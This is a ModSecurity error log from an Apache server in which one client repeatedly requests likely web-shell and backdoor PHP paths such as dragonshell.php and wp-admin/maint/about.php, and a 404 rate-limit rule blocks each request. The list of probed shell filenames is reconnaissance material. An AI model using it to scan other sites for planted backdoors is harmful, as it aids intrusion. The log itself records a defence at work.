[Sat May 23 20:54:22.686393 2026] [:error] [pid 44326:tid 44378] [client 4.213.99.137:1026] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ahGjfsyrPrcAqE-FOKKhIQAAAdc"]
[Sat May 23 20:54:23.007398 2026] [:error] [pid 31039:tid 31051] [client 4.213.99.137:1488] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "ahGjf6IYDYo8WvA5zLJGzQAAAMo"]
[Sat May 23 20:54:23.292387 2026] [:error] [pid 44296:tid 44313] [client 4.213.99.137:1396] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "ahGjf5drUdFI6ijvMkmNCgAAAU8"]
[Sat May 23 20:54:23.595066 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1998] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "ahGjf8yrPrcAqE-FOKKhIgAAAcg"]
[Sat May 23 20:54:23.936565 2026] [:error] [pid 44326:tid 44364] [client 4.213.99.137:1164] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "ahGjf8yrPrcAqE-FOKKhJAAAAck"]
[Sat May 23 20:54:24.215973 2026] [:error] [pid 44326:tid 44373] [client 4.213.99.137:1359] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "ahGjgMyrPrcAqE-FOKKhJwAAAdI"]
[Sat May 23 20:54:24.490494 2026] [:error] [pid 44296:tid 44300] [client 4.213.99.137:1204] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t.php"] [unique_id "ahGjgJdrUdFI6ijvMkmNCwAAAUI"]
[Sat May 23 20:54:24.989104 2026] [:error] [pid 44296:tid 44318] [client 4.213.99.137:1989] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t.php"] [unique_id "ahGjgJdrUdFI6ijvMkmNDAAAAVQ"]
[Sat May 23 20:54:25.261637 2026] [:error] [pid 25876:tid 25901] [client 4.213.99.137:1397] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t.php"] [unique_id "ahGjgQSpWUCKPezIBJCugwAAARc"]
[Sat May 23 20:54:25.562856 2026] [:error] [pid 30940:tid 30959] [client 4.213.99.137:1993] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t.php"] [unique_id "ahGjgZqUP2XZmzp7RDoNSAAAAAo"]
[Sat May 23 20:54:25.945485 2026] [:error] [pid 31039:tid 31044] [client 4.213.99.137:1198] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ahGjgaIYDYo8WvA5zLJG0AAAAMM"]
[Sat May 23 20:54:26.278946 2026] [:error] [pid 31039:tid 31061] [client 4.213.99.137:1181] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ahGjgqIYDYo8WvA5zLJG0QAAANQ"]
[Sat May 23 20:54:26.567223 2026] [:error] [pid 31039:tid 31041] [client 4.213.99.137:1349] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ahGjgqIYDYo8WvA5zLJG0gAAAMA"]
[Sat May 23 20:54:26.866539 2026] [:error] [pid 44296:tid 44312] [client 4.213.99.137:1167] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ahGjgpdrUdFI6ijvMkmNDgAAAU4"]
[Sat May 23 20:54:27.150958 2026] [:error] [pid 31039:tid 31046] [client 4.213.99.137:1999] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ahGjg6IYDYo8WvA5zLJG1AAAAMU"]
[Sat May 23 20:54:27.486663 2026] [:error] [pid 44296:tid 44314] [client 4.213.99.137:1368] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ahGjg5drUdFI6ijvMkmNDwAAAVA"]
[Sat May 23 20:54:27.781727 2026] [:error] [pid 44326:tid 44364] [client 4.213.99.137:2012] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ahGjg8yrPrcAqE-FOKKhMQAAAck"]
[Sat May 23 20:54:28.072710 2026] [:error] [pid 44326:tid 44369] [client 4.213.99.137:2039] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "ahGjhMyrPrcAqE-FOKKhMgAAAc4"]
[Sat May 23 20:54:28.407542 2026] [:error] [pid 25876:tid 25885] [client 4.213.99.137:2028] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/onclickfuns.php"] [unique_id "ahGjhASpWUCKPezIBJCuhwAAAQc"]
[Sat May 23 20:54:28.839756 2026] [:error] [pid 30940:tid 30967] [client 4.213.99.137:2018] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/onclickfuns.php"] [unique_id "ahGjhJqUP2XZmzp7RDoNSwAAABI"]
[Sat May 23 20:54:29.134578 2026] [:error] [pid 44326:tid 44361] [client 4.213.99.137:1166] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/onclickfuns.php"] [unique_id "ahGjhcyrPrcAqE-FOKKhNQAAAcY"]
[Sat May 23 20:54:29.431609 2026] [:error] [pid 44326:tid 44365] [client 4.213.99.137:2043] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/onclickfuns.php"] [unique_id "ahGjhcyrPrcAqE-FOKKhOAAAAco"]
[Sat May 23 20:54:29.759353 2026] [:error] [pid 44326:tid 44376] [client 4.213.99.137:1154] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/about.php"] [unique_id "ahGjhcyrPrcAqE-FOKKhOQAAAdU"]
[Sat May 23 20:54:30.049327 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1996] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/about.php"] [unique_id "ahGjhsyrPrcAqE-FOKKhOwAAAdA"]
[Sat May 23 20:54:30.338879 2026] [:error] [pid 44326:tid 44370] [client 4.213.99.137:1716] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/about.php"] [unique_id "ahGjhsyrPrcAqE-FOKKhPAAAAc8"]
[Sat May 23 20:54:30.613471 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1188] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/about.php"] [unique_id "ahGjhsyrPrcAqE-FOKKhPgAAAcg"]
[Sat May 23 20:54:30.995324 2026] [:error] [pid 44326:tid 44366] [client 4.213.99.137:1205] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.info.php"] [unique_id "ahGjhsyrPrcAqE-FOKKhQQAAAcs"]
[Sat May 23 20:54:31.287132 2026] [:error] [pid 44326:tid 44372] [client 4.213.99.137:1360] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.info.php"] [unique_id "ahGjh8yrPrcAqE-FOKKhQwAAAdE"]
[Sat May 23 20:54:31.624489 2026] [:error] [pid 44296:tid 44319] [client 4.213.99.137:1362] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.info.php"] [unique_id "ahGjh5drUdFI6ijvMkmNEgAAAVU"]
[Sat May 23 20:54:31.978144 2026] [:error] [pid 25876:tid 25889] [client 4.213.99.137:1159] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.info.php"] [unique_id "ahGjhwSpWUCKPezIBJCujQAAAQs"]
[Sat May 23 20:54:32.307214 2026] [:error] [pid 44326:tid 44355] [client 4.213.99.137:2009] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ahGjiMyrPrcAqE-FOKKhRQAAAcA"]
[Sat May 23 20:54:33.060993 2026] [:error] [pid 30942:tid 31004] [client 4.213.99.137:1179] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ahGjidUosz64YFiBlG12KAAAAIE"]
[Sat May 23 20:54:33.456117 2026] [:error] [pid 25876:tid 25898] [client 4.213.99.137:1395] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ahGjiQSpWUCKPezIBJCukAAAARQ"]
[Sat May 23 20:54:33.880683 2026] [:error] [pid 44296:tid 44304] [client 4.213.99.137:1382] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/albin.php"] [unique_id "ahGjiZdrUdFI6ijvMkmNGQAAAUY"]
[Sat May 23 20:54:34.312106 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1194] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dragonshell.php"] [unique_id "ahGjinTIgjSDhiZmvlXwYQAAAE8"]
[Sat May 23 20:54:34.640465 2026] [:error] [pid 30942:tid 31010] [client 4.213.99.137:1803] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dragonshell.php"] [unique_id "ahGjitUosz64YFiBlG12KgAAAIc"]
[Sat May 23 20:54:34.973477 2026] [:error] [pid 30940:tid 30955] [client 4.213.99.137:1058] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dragonshell.php"] [unique_id "ahGjipqUP2XZmzp7RDoNUwAAAAY"]
[Sat May 23 20:54:35.254918 2026] [:error] [pid 31039:tid 31043] [client 4.213.99.137:1443] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dragonshell.php"] [unique_id "ahGji6IYDYo8WvA5zLJG1wAAAMI"]
[Sat May 23 20:54:35.579614 2026] [:error] [pid 25876:tid 25892] [client 4.213.99.137:1425] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "ahGjiwSpWUCKPezIBJCukgAAAQ4"]
[Sat May 23 20:54:35.908842 2026] [:error] [pid 25876:tid 25887] [client 4.213.99.137:1377] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "ahGjiwSpWUCKPezIBJCukwAAAQk"]
[Sat May 23 20:54:36.179801 2026] [:error] [pid 44326:tid 44374] [client 4.213.99.137:1717] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "ahGjjMyrPrcAqE-FOKKhTwAAAdM"]
[Sat May 23 20:54:36.494705 2026] [:error] [pid 44326:tid 44367] [client 4.213.99.137:1793] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "ahGjjMyrPrcAqE-FOKKhUAAAAcw"]
[Sat May 23 20:54:36.802578 2026] [:error] [pid 44325:tid 44343] [client 4.213.99.137:1263] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "ahGjjFgUQb4puB_2yV8mRQAAAY8"]
[Sat May 23 20:54:37.077045 2026] [:error] [pid 25876:tid 25882] [client 4.213.99.137:2044] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "ahGjjQSpWUCKPezIBJCumQAAAQQ"]
[Sat May 23 20:54:37.360400 2026] [:error] [pid 30942:tid 31025] [client 4.213.99.137:2014] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "ahGjjdUosz64YFiBlG12LgAAAJY"]
[Sat May 23 20:54:37.689164 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1398] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "ahGjjXTIgjSDhiZmvlXwYwAAAEc"]
[Sat May 23 20:54:38.086896 2026] [:error] [pid 44296:tid 44316] [client 4.213.99.137:1385] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "ahGjjpdrUdFI6ijvMkmNHwAAAVI"]
[Sat May 23 20:54:38.399769 2026] [:error] [pid 44296:tid 44319] [client 4.213.99.137:1433] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "ahGjjpdrUdFI6ijvMkmNIAAAAVU"]
[Sat May 23 20:54:38.942386 2026] [:error] [pid 30940:tid 30958] [client 4.213.99.137:1355] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "ahGjjpqUP2XZmzp7RDoNWAAAAAk"]
[Sat May 23 20:54:39.487934 2026] [:error] [pid 44296:tid 44315] [client 4.213.99.137:1994] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "ahGjj5drUdFI6ijvMkmNJAAAAVE"]
[Sat May 23 20:54:39.839936 2026] [:error] [pid 30940:tid 30966] [client 4.213.99.137:1072] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/function.php"] [unique_id "ahGjj5qUP2XZmzp7RDoNWQAAABE"]
[Sat May 23 20:54:40.266999 2026] [:error] [pid 44326:tid 44355] [client 4.213.99.137:1627] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/function.php"] [unique_id "ahGjkMyrPrcAqE-FOKKhVwAAAcA"]
[Sat May 23 20:54:40.665999 2026] [:error] [pid 44326:tid 44366] [client 4.213.99.137:1344] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/function.php"] [unique_id "ahGjkMyrPrcAqE-FOKKhWQAAAcs"]
[Sat May 23 20:54:41.155992 2026] [:error] [pid 30940:tid 30952] [client 4.213.99.137:1186] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/function.php"] [unique_id "ahGjkZqUP2XZmzp7RDoNXwAAAAM"]
[Sat May 23 20:54:41.617323 2026] [:error] [pid 30942:tid 31005] [client 4.213.99.137:1219] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/date.php"] [unique_id "ahGjkdUosz64YFiBlG12NAAAAII"]
[Sat May 23 20:54:41.966618 2026] [:error] [pid 44326:tid 44370] [client 4.213.99.137:1209] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/date.php"] [unique_id "ahGjkcyrPrcAqE-FOKKhXAAAAc8"]
